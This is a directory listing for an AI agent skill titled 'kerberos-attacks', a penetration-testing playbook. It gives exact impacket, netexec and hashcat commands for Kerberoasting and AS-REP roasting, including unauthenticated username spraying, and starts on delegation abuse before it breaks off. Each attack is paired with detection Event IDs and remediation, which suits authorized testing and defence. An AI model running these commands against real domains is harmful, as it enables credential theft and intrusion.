跳至正文
OpenAgentSkill
浏览已开放 · 目录记录日期 2026-11-21 · 自动更新和账户服务暂时关闭。
效率与协作

kerberos-attacks

Kerberos-based Active Directory attacks driven by hand with standard tooling (Kerberoasting, AS-REP roasting, and delegation abuse: unconstrained, constrained/S4U, RBCD). Use when the target has SPN-bearing service accounts, accounts without pre-authentication, or delegation configured on computer/user objects, and you want the exact impacket/Rubeus/bloodyAD command, the hash format and hashcat mode, the Windows Event IDs that fire, and the remediation to write up.

ADScanPro · 已有 AI 审核记录

安装与使用

运行命令前先阅读来源与依赖说明。复制命令不会自动安装或执行。

npx skills add ADScanPro/Claude-AD --skill kerberos-attacks

技能说明


name: kerberos-attacks description: Kerberos-based Active Directory attacks driven by hand with standard tooling (Kerberoasting, AS-REP roasting, and delegation abuse: unconstrained, constrained/S4U, RBCD). Use when the target has SPN-bearing service accounts, accounts without pre-authentication, or delegation configured on computer/user objects, and you want the exact impacket/Rubeus/bloodyAD command, the hash format and hashcat mode, the Windows Event IDs that fire, and the remediation to write up.

Kerberos Attacks

Standard-tooling playbook for the four Kerberos abuse families you meet on almost every internal AD engagement. You drive every tool yourself. This skill tells you what each attack is, the exact command, how the loot looks and how to crack it, what the DC logs, and what the remediation write-up should say.

Requirements before you touch these: valid domain credentials (any user is enough for Kerberoasting and delegation reads; AS-REP roasting needs only a username list), correct DNS pointing at the DC, and clock skew under 5 minutes or Kerberos rejects your tickets (KRB_AP_ERR_SKEW). Sync with sudo ntpdate <dc-ip> or faketime.


1. Kerberoasting

MITRE ATT&CK: T1558.003 (Steal or Forge Kerberos Tickets: Kerberoasting)

What it is. Any authenticated user can request a service ticket (TGS) for any account that has a Service Principal Name (SPN) set. The TGS is encrypted with the service account's password-derived key. If the DC hands you an RC4 (etype 23) ticket, you crack it offline to recover the account's cleartext password. Service accounts are the target because they often have weak, non-expiring, human-set passwords and elevated rights.

Standard commands.

Request tickets for every kerberoastable account (impacket):

GetUserSPNs.py -request -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123' -outputfile kerb_hashes.txt

Enumerate first without requesting (see who is roastable before making noise):

GetUserSPNs.py -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

netexec equivalent (also does it in one line):

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --kerberoasting kerb_hashes.txt

Targeted roast of a single account (quieter, one 4769 instead of dozens):

GetUserSPNs.py -request-user sqlsvc -dc-ip 10.0.0.10 CORP.LOCAL/svc_user:'Password123'

Hash format + cracking. The loot is a $krb5tgs$ hash. RC4 tickets are hashcat mode 13100; AES256 tickets (etype 18) are mode 19700 and are far slower.

$krb5tgs$23$*sqlsvc$CORP.LOCAL$MSSQLSvc/db01.corp.local*$a1b2...  # RC4, -m 13100
$krb5tgs$18$sqlsvc$CORP.LOCAL$...                                  # AES256, -m 19700
hashcat -m 13100 -a 0 kerb_hashes.txt rockyou.txt --force

Detection (blue-team Event IDs).

  • 4769 (Kerberos service ticket requested) on the DC. The tell is Ticket Encryption Type 0x17 (RC4) when the domain otherwise uses AES, and a single account requesting many distinct service tickets in a short window. Baseline normal 4769 volume first; it is a high-noise event.
  • Microsoft Defender for Identity raises a "Suspected Kerberoasting" alert on this pattern.

Remediation to write up.

  • Use gMSA/dMSA for service accounts: 120-character machine-managed passwords that cannot be cracked.
  • Where a human-set service password is unavoidable, enforce 25+ character passphrases and rotation.
  • Set msDS-SupportedEncryptionTypes to AES-only on service accounts so RC4 tickets are never issued.
  • Remove SPNs from accounts that do not actually run a service.

2. AS-REP Roasting

MITRE ATT&CK: T1558.004 (Steal or Forge Kerberos Tickets: AS-REP Roasting)

What it is. Accounts with "Do not require Kerberos preauthentication" set (DONT_REQ_PREAUTH in userAccountControl) will return an AS-REP encrypted with the user's password-derived key to anyone who asks, no credentials needed. Crack it offline for the cleartext. Because it needs no valid domain account, it works from a username list alone.

Standard commands.

Roast every preauth-disabled account (needs a valid credential to read the directory for the list):

GetNPUsers.py -dc-ip 10.0.0.10 -request CORP.LOCAL/svc_user:'Password123' -outputfile asrep_hashes.txt

Unauthenticated, spraying a username wordlist (no credential at all):

GetNPUsers.py -dc-ip 10.0.0.10 -no-pass -usersfile users.txt CORP.LOCAL/ -format hashcat

netexec equivalent:

nxc ldap 10.0.0.10 -u svc_user -p 'Password123' --asreproast asrep_hashes.txt

Hash format + cracking. Loot is a $krb5asrep$ hash, hashcat mode 18200 (RC4).

$krb5asrep$23$user@CORP.LOCAL:a1b2c3...
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt --force

Detection.

  • 4768 (Kerberos authentication ticket / TGT requested) with pre-authentication type 0 and RC4 encryption. Normal Kerberos logons use preauth type 2, so preauth 0 is the signal.
  • Sudden 4768 volume from one source against many accounts = spraying.

Remediation.

  • Remove "Do not require Kerberos preauthentication" from every account that has it (audit userAccountControl for the DONT_REQ_PREAUTH bit, 0x400000).
  • These accounts also need strong passwords in the meantime, since the AS-REP is crackable the instant the flag is set.

3. Delegation Abuse

Kerberos delegation lets a service impersonate a user to a downstream service. Misconfigured, it becomes a privilege-escalation and lateral-movement primitive. Three flavors.

3a. Unconstrained Delegation

MITRE ATT&CK: T1558 (Steal or Forge Kerberos Tickets) / T1550 (Use Alternate Authentication Material)

What it is. A computer or account with TRUSTED_FOR_DELEGATION in userAccountControl caches the full TGT of any user who authenticates to it. Compromise that host, force a privileged account (or a DC's machine account) to authenticate to it (see the coercion skill), and extract the TGT to impersonate

阅读完整来源 ↗